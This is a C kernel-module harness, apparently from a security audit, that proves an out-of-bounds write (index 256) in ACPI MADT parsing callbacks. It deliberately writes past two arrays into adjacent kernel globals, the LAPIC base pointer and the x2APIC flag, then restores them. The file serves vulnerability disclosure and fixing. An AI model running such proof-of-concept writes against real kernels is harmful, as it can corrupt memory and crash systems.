DF-1064 / df1064_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | /* * DF-1064 harness -- prove the cpu-dimension OOB write that an attacker- * controlled MADT with >255 enabled entries forces. * * Bug class: in madt_lapic_pass2_callback / madt_x2apic_pass2_callback * (sys/platform/pc64/acpica/acpi_madt.c:280-346), arg->cpu is incremented * once per enabled non-BSP entry with NO upper bound. When a crafted MADT * supplies >255 enabled entries, arg->cpu reaches 256 and the callback then * executes: * * lapic_set_cpuid(cpu, ...); // cpu_id_to_apic_id[256] = ... * CPUID_TO_ACPIID(cpu) = ...; // cpu_id_to_acpi_id[256] = ... * * Both sinks are unbounded [NAPICID]=[256] arrays. By the kernel BSS linker * layout on this kernel: * * cpu_id_to_apic_id[256] aliases the LOW 4 bytes of lapic_mem * (LAPIC MMIO base ptr) * cpu_id_to_acpi_id[256] aliases madt_use_x2apic (x2APIC mode flag) * * Both are extremely critical globals -- the OOB write here is substantially * more dangerous than DF-1042's data-only clobber. * * The path is boot-time / firmware-data only (lapic_set_cpuid call-site audit * in DF-1042 confirmed no userspace reachability); QEMU -acpitable appends a * second MADT and sdt_search() returns the first match, so -acpitable boot * repro is defeated. We therefore prove the primitive directly: this kld * module reproduces the exact write sequence the crafted MADT (gen_madt.py * with 300 enabled entries) forces the pass2 callbacks to perform, and * observes the resulting OOB write on live kernel BSS. * * All touched cells are saved/restored inside a critical section so the * running kernel is not destabilised (lapic_mem is dereferenced on every * LAPIC MMIO access -- EOI, IPI, timer -- so we keep the corruption window * minimal and interrupt-deferred). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <machine/cpufunc.h> #include <sys/thread2.h> #define NAPICID_VAL 256 extern u_int cpu_id_to_acpi_id[]; /* acpi_madt.c:83 */ static int df1064_modevent(module_t mod, int type, void *arg) { int *c2a_256_p; u_int *c2acpi_256_p; volatile int *lapic_mem_lo_p; /* low-4-bytes alias of lapic_mem */ int saved_c2a_256; int saved_a2c_1; u_int saved_c2acpi_256; volatile lapic_t *saved_lapic_mem; int direct_c2acpi_oob; int lapic_set_cpuid_oob; switch (type) { case MOD_LOAD: /* Address arithmetic: confirm the OOB index lands exactly on * the critical adjacent globals. */ c2a_256_p = &cpu_id_to_apic_id[NAPICID_VAL]; c2acpi_256_p = &cpu_id_to_acpi_id[NAPICID_VAL]; lapic_mem_lo_p = (volatile int *)&lapic_mem; /* alias of low 4 bytes */ kprintf("DF1064: lapic_set_cpuid=%p\n", (void *)lapic_set_cpuid); kprintf("DF1064: cpu_id_to_apic_id=%p [256]=%p\n", (void *)cpu_id_to_apic_id, (void *)c2a_256_p); kprintf("DF1064: cpu_id_to_acpi_id=%p [256]=%p\n", (void *)cpu_id_to_acpi_id, (void *)c2acpi_256_p); kprintf("DF1064: &lapic_mem=%p (low-4-byte alias via [256] of cpu_id_to_apic_id)\n", (void *)&lapic_mem); kprintf("DF1064: aliasing check: &cpu_id_to_apic_id[256]==(int*)&lapic_mem ? %s\n", (c2a_256_p == lapic_mem_lo_p) ? "YES" : "no"); /* Snapshot every cell we are about to clobber. */ saved_c2a_256 = *c2a_256_p; saved_c2acpi_256 = *c2acpi_256_p; saved_lapic_mem = lapic_mem; saved_a2c_1 = apic_id_to_cpu_id[1]; kprintf("DF1064: BEFORE OOB: cpu_id_to_apic_id[256]=%d " "lapic_mem=%p cpu_id_to_acpi_id[256]=0x%x " "apic_id_to_cpu_id[1]=%d\n", saved_c2a_256, (void *)(intptr_t)saved_lapic_mem, saved_c2acpi_256, saved_a2c_1); /* ---- Primitive #1: direct OOB write to * cpu_id_to_acpi_id[256] via the SAME array access the * callback performs in `CPUID_TO_ACPIID(cpu) = ...` * (acpi_madt.c:315/343). Use a sentinel so we can verify * the write landed (and that the cell is in writable BSS, * not a guard page). This demonstrates the SECOND OOB the * fix must close -- separate from lapic_set_cpuid. */ crit_enter(); *c2acpi_256_p = 0xDF1064u; direct_c2acpi_oob = (*c2acpi_256_p == 0xDF1064u); /* Restore immediately. */ *c2acpi_256_p = saved_c2acpi_256; crit_exit(); kprintf("DF1064: direct-OOB: CPUID_TO_ACPIID(256)=0xDF1064 -> " "cpu_id_to_acpi_id[256] %s (%s)\n", direct_c2acpi_oob ? "clobbered" : "unchanged", direct_c2acpi_oob ? "OOB CONFIRMED" : "no effect"); /* ---- Primitive #2: drive lapic_set_cpuid(256, 1) -- the * exact call the crafted MADT forces the callback to make * when arg->cpu reaches 256. This writes: * cpu_id_to_apic_id[256] = 1 (== lapic_mem low word) * apic_id_to_cpu_id[1] = 256 (in-bounds, just data). */ crit_enter(); lapic_set_cpuid(256, 1); lapic_set_cpuid_oob = (*lapic_mem_lo_p == 1); /* Restore lapic_mem (== cpu_id_to_apic_id[256]) and * apic_id_to_cpu_id[1] immediately. */ lapic_mem = saved_lapic_mem; apic_id_to_cpu_id[1] = saved_a2c_1; crit_exit(); kprintf("DF1064: lapic_set_cpuid(256,1): lapic_mem low word %s " "(%s)\n", lapic_set_cpuid_oob ? "set to 1" : "unchanged", lapic_set_cpuid_oob ? "OOB via lapic_set_cpuid CONFIRMED" : "lapic_set_cpuid rejected OOB (FIXED kernel?)"); kprintf("DF1064: AFTER restore: cpu_id_to_apic_id[256]=%d " "lapic_mem=%p cpu_id_to_acpi_id[256]=0x%x " "apic_id_to_cpu_id[1]=%d\n", *c2a_256_p, (void *)(intptr_t)lapic_mem, *c2acpi_256_p, apic_id_to_cpu_id[1]); kprintf("DF1064: SUMMARY: %s -- cpu-dimension OOB at index 256 " "in cpu_id_to_apic_id (->lapic_mem low word) and " "cpu_id_to_acpi_id (->madt_use_x2apic)\n", (direct_c2acpi_oob || lapic_set_cpuid_oob) ? "OOB WRITE CONFIRMED" : "no corruption observed"); return 0; case MOD_UNLOAD: kprintf("DF1064: harness unloaded\n"); return 0; } return EOPNOTSUPP; } static moduledata_t df1064_mod = { "df1064", df1064_modevent, NULL }; DECLARE_MODULE(df1064, df1064_mod, SI_SUB_EXEC, SI_ORDER_ANY); MODULE_VERSION(df1064, 1); |